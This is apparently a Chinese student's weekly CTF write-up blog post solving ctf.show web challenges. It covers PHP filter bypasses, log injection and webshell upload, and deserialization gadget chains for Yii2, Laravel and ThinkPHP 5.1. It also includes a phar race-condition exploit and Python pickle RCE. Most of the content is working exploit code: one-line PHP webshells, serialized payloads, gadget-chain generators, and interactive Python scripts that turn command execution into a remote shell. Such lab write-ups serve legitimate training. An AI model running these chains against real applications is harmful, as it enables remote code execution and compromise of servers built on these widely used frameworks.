第十四周报

web148

没有过滤异或符直接

?code=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0);

web149

这里可以看到会删除index.php文件,我们可以传一个index.php文件上去,再传一句话木马,然后蚁剑连接

url?ctf=index.php

post: show=(<?php @eval($_POST['1']);?>)

web150

发现对ctf并没有进行过多的过滤,我们直接日志注入

post:ctf=/var/log/apache2/access.log

然后在UA头写入一句话木马,蚁剑连接

web150-puls

这次多过滤了log,日志用不了

就看前面的代码

发现?..CTFSHOW..=这样传参可以,

这里按道理要条件竞争,但是先看phpinfo发现环境变量里面有flag

反序列化

魔术方法

与函数类似,但是在某些条件发生时自动调用

web254

这个题只要看懂代码就行

直接传入url?username=xxxxxx&password=xxxxxx

即可得到flag

web255

这一题即使登录成功也不能将isvip变为true,所以要修改VIP状态

直接将上面php代码复制到本地,然后把isvip=true

然后将这个类的序列化用url编码的形式输出

echo urlencode(serialize(new 类名()));

将输出的编码复制,然后到靶机的cookie添加名字为user内容为编码

然后在跟上一题一样传参

web256

这里多了一个判断,要求用户名与密码不相同,

还发现底下的获取falg的代码反序列化在判断的前面所以不用管xxxxxx的判断直接复制代码

然后改ture,再把用户名与密码随便改成不同的,然后用上一题的方法解决

web257

这里可以看到有一个backDoor类,里面有个code属性可以在里面传入后门

只要将上面的魔术方法里面创建的实例类改为backDoor类,

在传参时用户名和密码都为后门的参数

再重复上一题操作,然后蚁剑

web258

这里有个正则,要不匹配才能序列化,但是匹配的内容是序列化的,

首先跟php代码和上一题一样,但是输出的url编码要改,不能出现o:数字,这个格式被当作序列化

先直接输出未改变的序列化字符串,看哪里有o:数字的地方想办法替换

$a = serialize(new ctfShowUser());

$b = str _repLace(':11', ':+11', $a);

这样将:数字替换为+数字,也是可以反序列化的

web259

搞不懂原理

web260

这里是对字符串进行序列化后还要包含正则的字符串,因为字符串序列化不会变化

所以直接复制传参即可

web261

这有很多魔术方法,我们可以用construct

因为弱类型比较所以可以输入用户名877.php

密码为一句话木马

public function _ construct($u='',$p='')

{

$this->username='877. php';$this->password='<? php eval($_POST[a]);?>';

}

echo urLencode(serialize(new ctfshowvip()));

得到url编码的反序列化文本直接url?vip=传参

再访问877.php

然后蚁剑连接

web262

这里有字符逃逸,将fuck替换为loveU,就可以逃逸1个

先将php代码复制到本地,再把过滤类也带过去

然后创建一个类的实例第一个参数要为fuck,再生成序列化字符,保存下来,再将序列化字符用过滤函数过滤保存

发现过滤之后的字符串数字4后面跟着的是loveU五个字符,说明可以逃逸

在loveU后面的字符都可以随便更改,但是有多少字符就要逃逸多少

发现注释里面有message.php

直接访问

要将token改为admin可得到flag,所以将上面逃逸后的序列化字符串进行base64编码然后写入cookie就行

web264

message.php

这里发现和上一题其实一样

web265

这里可以用c语言的指针

复制php代码到本地,然后通过指针使password=&$this=->token

然后序列化输出O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}再写入到cookie

web266

这里只要能够进入销毁函数即可,我们可以通过错误的序列化:达成执法失败(就是没有被过滤)的效果,还是可以进入销毁函数

o:7:"ctfshow":2:{},然后burp抓包,在里面写入序列化代码得到flag

web267

先猜一下登录admin

about页面啥也没有查看一下源码

有个绿色的注释

view-source

在那个页面用&访问

发现代码

用脚本得到

index.php?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MjoibHMiO31zOjEyOiIAKgB2YWxpZGF0b3IiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6MTt9fX0=

再访问1下载得到flag

法二:py脚本

import requests, base64, time


def round(command: str, arg: str):
    url = "http://b491d895-d559-480c-9452-755528e4a4d7.challenge.ctf.show/"  # 以/结尾
    payload = b'O:32:"Codeception\\Extension\\RunProcess":1:{s:43:"\x00Codeception\\Extension\\RunProcess\x00processes";a:1:{i:0;O:20:"Faker\\ValidGenerator":3:{s:12:"\x00*\x00generator";O:22:"Faker\\DefaultGenerator":1:{s:10:"\x00*\x00default";s:arg_l:"arg";}s:12:"\x00*\x00validator";s:function_l:"function";s:13:"\x00*\x00maxRetries";i:1;}}}'
    payload = payload.replace(b"function_l", str(len(command)).encode())
    payload = payload.replace(b"function", command.encode())
    
    payload = payload.replace(b"arg_l", str(len(arg)).encode())
    payload = payload.replace(b"arg", arg.encode())
    params = {"r": "/backdoor/shell", "code": base64.b64encode(payload).decode()}
    while True:
        try:
            resp = requests.get(url+"index.php", params=params)
            break
        except:
            time.sleep(0.1)
    
    while True:
        try:
            resp = requests.get(url+"1")
            break
        except:
            time.sleep(0.1)
    
    return resp.text


if __name__ == '__main__':
    print("请输入命令...")
    while True:
        command = "shell_exec"
        arg = input(">>> ")
        if arg == "exit":
            break
        if arg == "":
            continue
        res = round(command, arg + " | tee 1")
        print(res[:-1])

web268

与上一题差不多

但是不能照搬

要用新脚本

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'cat /flags | tee 1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
 $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

最后

index.php?r=backdoor/shell&code=TzoyNzoiU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlIjoyOntzOjMzOiIAU3dpZnRfS2V5Q2FjaGVfRGlza0tleUNhY2hlAGtleXMiO2E6MTp7czo0OiJheGluIjthOjE6e3M6MjoiaXMiO3M6ODoiaGFuZHNvbWUiO319czozMzoiAFN3aWZ0X0tleUNhY2hlX0Rpc2tLZXlDYWNoZQBwYXRoIjtPOjQyOiJwaHBEb2N1bWVudG9yXFJlZmxlY3Rpb25cRG9jQmxvY2tcVGFnc1xTZWUiOjE6e3M6MTQ6IgAqAGRlc2NyaXB0aW9uIjtPOjE1OiJGYWtlclxHZW5lcmF0b3IiOjE6e3M6MTM6IgAqAGZvcm1hdHRlcnMiO2E6MTp7czo2OiJyZW5kZXIiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTg6ImNhdCAvZmxhZ3MgfCB0ZWUgMSI7fWk6MTtzOjM6InJ1biI7fX19fX0=

再访问1得到flag

web269

和上一题一样下载到了1文件但是莫名奇妙没有内容

web270

新脚本

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'cat /flagsaa | tee 1';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoyMDoiY2F0IC9mbGFnc2FhIHwgdGVlIDEiO31pOjE7czozOiJydW4iO319fQ==

web271

Laravel反序列化漏洞

通用脚本

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('ls'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

array()里面的命令可以改变

POST:data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22ls%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

,本目录没有,再找根目录('ls /')得到flag文件名然后接着重复上述步骤访问得到flag

法二:py脚本

import requests, base64, time


def round(command: str, arg: str):
    url = "http://8cd12f44-e068-4ebf-9c52-31d16fb6e18b.challenge.ctf.show/"  # 末尾的/不能少了
    payload = b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:15:"Faker\\Generator":1:{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:function_l:"function";}}s:8:"\x00*\x00event";s:arg_l:"arg";}'
    payload = payload.replace(b"function_l", str(len(command)).encode())
    payload = payload.replace(b"function", command.encode())
    
    payload = payload.replace(b"arg_l", str(len(arg)).encode())
    payload = payload.replace(b"arg", arg.encode())
    params = {"r": "test/ss", "data": payload}
    while True:
        try:
            resp = requests.post(url, data=params)
            break
        except:
            time.sleep(0.1)
    
    while True:
        try:
            resp = requests.get(url+"1")
            break
        except:
            time.sleep(0.1)
    
    return resp.text


if __name__ == '__main__':
    print("请输入命令...")
    while True:
        command = "system"
        arg = input(">>> ")
        if arg == "exit":
            break
        if arg == "":
            continue
        res = round(command, arg + " | tee 1")
        print(res[:-1])

直接当作虚拟终端,在py里面直接输入命令

web272

第二条链子

<?php
namespace Illuminate\Broadcasting{

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;
        public function __construct(){
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;
        public function __construct(){
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader
    {

    }
}
namespace Mockery\Generator{
    class MockConfiguration
    {
        protected $name="feng";
    }
    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->code="<?php system('cat /flag');exit()?>";
            $this->config=new MockConfiguration();
        }
    }
}

namespace{

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

法二:py脚本

import requests, base64, time


def round(command: str, arg: str):
    url = "http://ca6bcabb-9021-4081-a4dd-c7e09429ec1a.challenge.ctf.show/"
    payload = b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:15:"Faker\\Generator":1:{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:function_l:"function";}}s:8:"\x00*\x00event";s:arg_l:"arg";}'
    payload = payload.replace(b"function_l", str(len(command)).encode())
    payload = payload.replace(b"function", command.encode())
    
    payload = payload.replace(b"arg_l", str(len(arg)).encode())
    payload = payload.replace(b"arg", arg.encode())
    params = {"r": "test/ss", "data": payload}
    while True:
        try:
            resp = requests.post(url, data=params)
            break
        except:
            time.sleep(0.1)
    
    while True:
        try:
            resp = requests.get(url+"1")
            break
        except:
            time.sleep(0.1)
    
    return resp.text


if __name__ == '__main__':
    print("请输入命令...")
    while True:
        command = "system"
        arg = input(">>> ")
        if arg == "exit":
            break
        if arg == "":
            continue
        res = round(command, arg + " | tee 1")
        print(res[:-1])

web273

与上一题同

web274

查看源码

得到注入点

这里用think5.1的脚本

<?php

namespace think\process\pipes{

    use think\model\Pivot;

    class Windows

    {

        private $files = [];

        public function __construct(){

            $this->files[]=new Pivot();

        }

    }

}

namespace think{

    abstract class Model

    {

        protected $append = [];

        private $data = [];

        public function __construct(){

            $this->data=array(

              'Ki1ro'=>new Request()

            );

            $this->append=array(

                'Ki1ro'=>array(

                    'hello'=>'world'

                )

            );

        }

    }

}

namespace think\model{

    use think\Model;

    class Pivot extends Model

    {

    }

}

namespace think{

    class Request

    {

        protected $hook = [];

        protected $filter;

        protected $config = [

            // 表单请求类型伪装变量

            'var_method'       => '_method',

            // 表单ajax伪装变量

            'var_ajax'         => '',

            // 表单pjax伪装变量

            'var_pjax'         => '_pjax',

            // PATHINFO变量名 用于兼容模式

            'var_pathinfo'     => 's',

            // 兼容PATH_INFO获取

            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],

            // 默认全局过滤方法 用逗号分隔多个

            'default_filter'   => '',

            // 域名根,如thinkphp.cn

            'url_domain_root'  => '',

            // HTTPS代理标识

            'https_agent_name' => '',

            // IP代理获取标识

            'http_agent_ip'    => 'HTTP_X_REAL_IP',

            // URL伪静态后缀

            'url_html_suffix'  => 'html',

        ];

        public function __construct(){

            $this->hook['visible']=[$this,'isAjax'];

            $this->filter="system";

        }

    }

}

namespace{

    use think\process\pipes\Windows;

    echo base64_encode(serialize(new Windows()));

}

得到

url?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJLaTFybyI7YToxOntzOjU6ImhlbGxvIjtzOjU6IndvcmxkIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToiS2kxcm8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxMDp7czoxMDoidmFyX21ldGhvZCI7czo3OiJfbWV0aG9kIjtzOjg6InZhcl9hamF4IjtzOjA6IiI7czo4OiJ2YXJfcGpheCI7czo1OiJfcGpheCI7czoxMjoidmFyX3BhdGhpbmZvIjtzOjE6InMiO3M6MTQ6InBhdGhpbmZvX2ZldGNoIjthOjM6e2k6MDtzOjE0OiJPUklHX1BBVEhfSU5GTyI7aToxO3M6MTg6IlJFRElSRUNUX1BBVEhfSU5GTyI7aToyO3M6MTI6IlJFRElSRUNUX1VSTCI7fXM6MTQ6ImRlZmF1bHRfZmlsdGVyIjtzOjA6IiI7czoxNToidXJsX2RvbWFpbl9yb290IjtzOjA6IiI7czoxNjoiaHR0cHNfYWdlbnRfbmFtZSI7czowOiIiO3M6MTM6Imh0dHBfYWdlbnRfaXAiO3M6MTQ6IkhUVFBfWF9SRUFMX0lQIjtzOjE1OiJ1cmxfaHRtbF9zdWZmaXgiO3M6NDoiaHRtbCI7fX19fX19

再在后面加上

&Ki1ro=cat /flag即可

web275

filter类的__destruct方法会执行system函数,我们只要用;隔开rm并且filename中有php就可以进行rce了

所以先?fn=php;id,再?fn=php;tac flag.php

web276

py脚本

import requests, time
from concurrent.futures import ThreadPoolExecutor


proxies = {"http": "127.0.0.1:8080"}
data = b'<?php __HALT_COMPILER(); ?>\r\n\x06\x01\x00\x00\x03\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x91\x00\x00\x00O:6:"filter":4:{s:8:"filename";s:49:". || echo "<?php @eval(\\$_GET[1]);?>" > shell.php";s:11:"filecontent";N;s:8:"evilfile";b:1;s:5:"admin";b:1;}\x05\x00\x00\x003.txt\x03\x00\x00\x00\xdc\xc0Se\x03\x00\x00\x002\xfb\x11\x81\xb6\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x001.txt\x01\x00\x00\x00\xdc\xc0Se\x01\x00\x00\x00\xb7\xef\xdc\x83\xb6\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x002.txt\x01\x00\x00\x00\xdc\xc0Se\x01\x00\x00\x00\xb7\xef\xdc\x83\xb6\x01\x00\x00\x00\x00\x00\x00pwd11\x0f\xf8\xf5?u\xec\xa0\xdb\xae\xb9\xd0\xa1\xb9\xf47\x02\x84\x0e\xbe\xd6\x02\x00\x00\x00GBMB'  # 不可更改,phar自己有签名算法的
success = False


def upload(url: str):    
    r=requests.post(url, params={"fn": "1.phar"}, data=data, timeout=7)
    

def visit(url: str):
    global success
    if not success:
        r=requests.post(url, params={"fn": "phar://1.phar/3.txt"},data="000", timeout=7)
        r=requests.get(url+"shell.php")
        #print(r.status_code, url)
        if r.status_code == 200:
            success = True


def compete(url: str):
    global success
    pool_upload = ThreadPoolExecutor(5)
    pool_visit = ThreadPoolExecutor(5)
    threads = []
    for i in range(50):
        threads.append(pool_upload.submit(upload, url))
        threads.append(pool_visit.submit(visit, url))
    for i in threads:
        if success:
            break
        while i.running():
            pass
    
def round(url, command: str):
    while True:
        try:
            r = requests.get(url+'shell.php', params = {"1": command}, timeout=7)
            break
        except:
            pass
    return r.text


if __name__ == '__main__':
    url = "http://226faba7-e952-404b-a648-fa21f3b0d5be.challenge.ctf.show/"
    while not success:
        compete(url)
    print("请输入命令...")
    while True:
        arg = input(">>> ")
        if arg == "exit":
            break
        if arg == "":
            continue
        arg = f"system('{arg}');"
        res = round(url, arg)
        print(res[:-1])

web277

看到 pickle.loads 就知道是 python 反序列化

这里有python脚本

import requests, base64, time


def round(command: str, arg: str):
    url = "http://39995c7b-513e-4c09-9e77-01499da948bc.challenge.ctf.show/"  # 以/结尾
    payload = f'''cos\n{command}\n(S'{arg}'\ntR.'''.encode()
    params = {"r": "test/ss", "data": base64.b64encode(payload).decode()}
    while True:
        try:
            resp = requests.get(url+"backdoor", params=params)
            break
        except:
            time.sleep(0.1)
    
    while True:
        try:
            resp = requests.get(url+"static/1")
            break
        except:
            time.sleep(0.1)
    
    return resp.text


if __name__ == '__main__':
    print("请输入命令...")
    while True:
        command = "system"
        arg = input(">>> ")
        if arg == "exit":
            break
        if arg == "":
            continue
        arg = f'mkdir -p /app/static && {arg} > /app/static/1'
        res = round(command, arg + "")
        print(res[:-1])

然后在py里面输入命令即可如:ls,tac等

得到flag

web278

只过滤了os.system,但os.popen仍有效

给出一个绕过过滤os模块的poc

import requests, base64, time


def round(command: str, arg: str):
    url = "http://fa3941ba-891b-4463-8844-4699fa94fe69.challenge.ctf.show/"
    payload = f'''cbuiltins\ngetattr\np0\n(cbuiltins\ndict\nS'get'\ntRp1\n(cbuiltins\nglobals\n)RS'__builtins__'\ntRp2\n0g0\n(g2\nS'eval'\ntR(S'{arg}'\ntR.'''.encode()
    params = {"r": "test/ss", "data": base64.b64encode(payload).decode()}
    while True:
        try:
            resp = requests.get(url+"backdoor", params=params)
            break
        except:
            time.sleep(0.1)
    
    while True:
        try:
            resp = requests.get(url+"static/1")
            break
        except:
            time.sleep(0.1)
    
    return resp.text


if __name__ == '__main__':
    print("请输入命令...")
    while True:
        command = "system"
        arg = input(">>> ")
        if arg == "exit":
            break
        if arg == "":
            continue
        arg = f'__import__("os").popen("mkdir -p /app/static && {arg} > /app/static/1")'
        res = round(command, arg)
        print(res[:-1])
  • 48
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值